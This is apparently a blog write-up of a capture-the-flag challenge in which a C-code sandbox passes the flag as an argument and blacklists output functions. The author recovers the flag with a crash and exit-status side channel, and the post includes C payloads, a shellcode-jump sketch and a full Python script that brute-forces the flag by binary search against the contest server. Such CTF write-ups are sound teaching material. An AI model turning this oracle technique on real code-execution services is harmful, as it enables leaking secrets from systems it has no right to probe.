- A+
0. *NULL->|*|
清明放假,这几天闲着没事,知道有ACTF举办,因此凑热闹来做做题。sandbox的这个题目挺有意思的,因此想把自己的解法、思路跟大家分享一下 : ) 。
题目网址:http://218.2.197.236:2015 (比赛结束了,不知道什么时候下线~~)
网页截图:
题目大意是类似模拟OJ的样子,你可以写一段C代码,提交,服务器负责编译、执行,
同时会把flag作为参数传给你的程序!就如图中的命令所示: gcc –ansi yourCode.c && ./a.out “ACTF{…}”
a.out整个执行过程中的输出会被返回给用户。什么?flag直接传给我们的程序啦!那么我们只要把参数argv[1]的字符串打印出来就好啦!这就是flag嘛!!!
但是本题目对提交的源代码有限制,会利用一个checker.py对输入的代码进行校验。不符合校验的不能被编译、执行!不幸的是,校验脚本把能输出的函数都禁掉了!!!
Checker.py扫描源码主要做以下3个限制:
1)几乎不允许任何系统函数、C库函数函数名的出现(=_=),它采用的黑名单方式,具体可以看checker.py。
2)对于以下几种符号的总使用次数不得超过5。
‘#’ ‘;’ ‘<’ ‘>’ ‘[‘ ‘]’ ‘{‘ ‘}’ ‘(‘ ‘)’
3)源码总长度小于512字节。
Wait ! 你想到怎么解了么?
1. *first idea -> |ideal|
从黑名单中可以看出printf、puts、system之类的函数肯定都被禁止了。那么有没有被漏掉的函数呢?我决定尝试可以找一个checker漏掉的函数,然后利用把参数1传给它,利用它出错、或者正确执行什么的,打印出flag。
void main(int argc ,char **argv) { func(*++argv,…); }
但是这个想法随后被否定了。因为checker的第二条限制决定了这个函数调用法行不通。想要调用函数那么至少要有一对圆括号,而main函数本身必须有一对圆括号加上一对大括号,这总共就6个啦!分号都还没算,想要写一个语句必须要有一个分号!就是说函数调用法至少要有7个黑名单符号的出现,这样是过不了checker的….( ˇˍˇ )。后面又想可不可以用宏替换掉某个黑名单字符,但是#define要求原始符号至少也要出现一次,再加上#,总之符号的限制大大加大了本体的难度,当然本题的乐趣也就在于此了~~(O(∩_∩)O哈哈~)
2. *great idea -> |impossible|
细想想,不能明目张胆的调用函数因为源代码要有一对圆括号,那我可不可以把函数调用放在shellcode里面呢?在自己代码中虽然不能用asm(被checker禁止了),但是想要跳到shellcode并不难。自己定义一个数组,把shellcode放在里面,然后跳到自己的数组即shellcode中执行,shellcode调用puts/printf/system之类的打印出我们的字符串!
void main(intargc, char **argv) { int *a="\xe9\x08\x00\xef……", *b =&argc-1, *c = 1?*b=a:0; }
Look like great,that the fking big work we h4ckers should do ! BUT ,
it’s sooooo difficult。对于exploit来讲,没有实验环境,那么成功的概率太低了。Shellcode里面要怎么知道函数的地址?动态获取?硬编码?还有DEP和64位系统等等EggPain(不是EggHunt)的问题太难搞定。
3. *simple idea -> |slow|fast|faster|
想来想去我觉得自己在转圈圈,还搞什么shellcode啊,既然flag已经存到栈里面了,那我不就是可以访问到吗!比如flag串的某一个字符我不知道它是什么,但是我可以读取出来挨个试啊!从A->Z,从a-z,从0-9还有下划线,我给它试个遍,总会得出结果的。关键是这个结果怎么返回,也就是怎么表示我匹配的对不对呢?话说经过几次测试发现程序空指针异常访问后会返回以下状态,“Caught fatal signal 11”。但是其余情况下就是返回“Exited with error status # ”。(⊙﹏⊙b汗,其实还有一个“OK”状态,只是lz想到这里的时候还没发现,因为一直用void main,其实int main返回整形0就是“OK”状态)
返回状态截图展示:
(1) Slow,but we go
想到这里其实就像一个黑盒子一样,每次我们发一遍源码测一下这个字符是不是预设的字母,是的话让它空指针访问异常,不是的话就不管了。就这样,显然这是要一个脚本来循环post请求的。被post的代码一个示例是这样的,这是测试第二个字母是不是’C’:
void main(int *argc, char **argv, char *str) { argc = 0, argv = argv+1, str = *argv, str +=1, *str=='C’ ? *argc=0:0 ; }
整个Python脚本框架大概是这样:
guess = { ‘A’-‘Z’,‘a’-‘z’, ‘0’-‘9’,’_’} for offset in range(0,70): for c in guess: code = genCode(offset, c) r = postVerify(code) if(r.find(‘Caught fatal signa’) != -1): # we got character in offset break
好吧,最初的脚本就是这个样子的,guess数据集中有26+26+10+1=63个字符,也就是说最多要试验63次才可以找出一个字母,假设长度是70的flag(未知部分长度约60),发送一次请求要40秒,那么总时间至多就是(63*40*60)/3600 = 42小时!,oh,时间太长了。Lz跑起脚本平均要20几次post才可以试出一个字符,好慢,但是,有没有更好的办法呢?
(2)Binary Search , let's fly
好吧,最后lz灵光一现,为什么我要比较这个字符等不等于我指定的字符呢?为什么不比较大于小于呢?于是二分查找灵光闪现。字符集是我们自己构造的,当然可以按照有序构造,在有序表中查找某个值,god,二分查找log(n),地球人都知道。但是呢,二分查找要求返回的状态两个就不够了,因为我想知道我预设的字符是大于?小于?还是等于被猜测字符,这需要有能力根据3个不同条件返回3种不同状态。这就要说到“OK”的返回状态了,利用它正好三种返回状态够了。但是呢,代码中不能用”<”或者”>”,因为这是黑名单字符,不过这是可以解决的。下面是一个示例,测试第六个字母是比’b’小还是比’b’大,还是等于’b’。(C语言条件运算符真给力~)
int main(int* argc, char **argv, char *str, char x) { return argc = 0,argv = argv+1, str = *argv, str += 5,x = *str-'b', x? x&0x80?*argc=0:1:0 ; }
以下就是Python脚本,用这个脚本跑起基本6-7次post此就可以确定一个字母了。
#################################################################### import httplib import time import os def postVerify(code): conn = httplib.HTTPConnection('218.2.197.236', 2015 ) conn.request('POST', '/', code, {'Host':'218.2.197.236:2015', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language':'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3', 'Accept-Encoding':'gzip, deflate', 'Referer':'http://218.2.197.236:2015/', 'Connection':'keep-alive', 'Content-Type':'application/text; charset=UTF-8' } ) try: page=conn.getresponse( ) except Exception , e: print 'Get response error !!!!!!!!!!!!!!!!!!!!' return page.read() #---------------- Main ----------------- resultFile = time.strftime('%Y-%m-%d_%H-%M-%S', time.localtime(time.time()))+ '.txt' ; print 'ResultFile: '+resultFile fResult = open(resultFile, 'w') c = 'A' left = 0 right = 0 for offset in xrange(5, 70): if(c == '}'): #we have finished break ; if(left > right): print 'Unusual condition...' #ascii range left = 32 right = 126 while (left <= right): c = chr((left+right)/2) print '[+] guessing offset: '+str(offset)+' with \'' + c + '\'' code = 'int main(int *argc, char **argv, char *str, char x)\n{' + \ 'return argc = 0, argv = argv+1, str = *argv, str +=' code += str(offset) + ',' code += "x=*str-" + str(ord(c)) + ', x? x&0x80? *argc=0:1:0 ;}' #print code html = postVerify(code) if(html.find('Please wait') != -1): time.sleep(8) elif(html.find('Exited with error status') != -1): #x bigger than mid left = ord(c) + 1 elif(html.find('Caught fatal signal') != -1): #x smaller than mid right = ord(c) - 1 elif(html.find('OK') != -1): # we got x fResult.write(str(offset) + ' ' + c + '\n') fResult.flush() print '************************************************' print 'Shot one ! offset:'+str(offset)+' '+ c+ '\n' print '************************************************' break ; else: print html fResult.close() ####################################################################
(3) Reduce input set, let's go faster
当lz利用上述脚本安心的跑出30几个字母之后,发现变态作者 使用的都是数字加小写字母!没有大写字母也没有特殊符号,于是速速改掉输入集只包含数字和小写字母a-f和’}’。平均3-4次post就可以跑出一个字母了。
终于,最后跑出来了,但是有点长啊,一共71个字符,唉,为嘛整这么长啊,好像什么哈希的样子….=_=不知道其他组怎么解决掉的~~期待其他大侠分享思路~
ACTF{c6e49c9b897cc4dba15b39ec53bd8fd681937b8ae16833a24090f27d71d3f8c5}
4. Summary
C语言真棒~
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫